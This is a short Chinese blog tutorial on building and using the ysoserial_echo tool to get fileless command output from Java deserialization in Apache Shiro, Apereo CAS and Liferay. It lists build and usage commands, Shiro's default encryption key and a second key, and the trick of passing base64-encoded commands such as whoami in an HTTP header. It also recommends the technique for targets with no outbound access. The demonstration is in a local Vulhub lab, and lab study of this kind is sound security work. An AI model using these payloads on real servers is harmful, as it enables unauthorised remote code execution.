Shiro反序列化无文件回显

Shiro反序列化无文件回显

Scroll Down

今天突然看到一个项目发现很不错。
https://github.com/j1anFen/ysoserial_echo

支持:
ApereoCAS 4.1.X 默认密钥
Shiro spring 环境下回显
Liferay protal 7.0 以上

本地复现环境

Vulhub环境搭建

git下来后,直接在ysoserial_echo-master目录下输入:

mvn clean package -DskipTests

Snipaste_20200709_205824.jpg
然后就在target目录下得到编译好的jar包
用法:

Author: JF

Usage: java -jar yso-echo-all.jar shiro linux [key default kPH+bIxk5D2deZiIxcaaaA==]
Usage: java -jar yso-echo-all.jar shiro linux 0AvVhmFLUs0KTA3Kprsdag==
Usage: java -jar yso-echo-all.jar liferay win
Usage: java -jar yso-echo-all.jar apereo linux

[Add Request header] c=d2hvYW1p (whoami)

  Available payload types:
     Payload Authors Dependencies
     ------- ------- ------------
     apereo          commons-collections4:4.0
     liferay         commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     shiro           commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

然后输入:

java -jar yso-echo-SNAPSHOT-all.jar shiro linux kPH+bIxk5D2deZiIxcaaaA==

生成了Payload:

Snipaste_20200709_205842.jpg

复制Payload,利用Burp发包测试:
注意,需要在HTTP头部中,加入字段

c: base64编码后的命令

whoami命令回显:

Snipaste_20200709_204102.jpg
回显内容为Base64编码,解码后:

Snipaste_20200709_204120.jpg

id命令回显:
Snipaste_20200709_204224.jpg

Snipaste_20200709_204232.jpg

这种应用场景很适合目标不同外网,且无法写入shell的情况。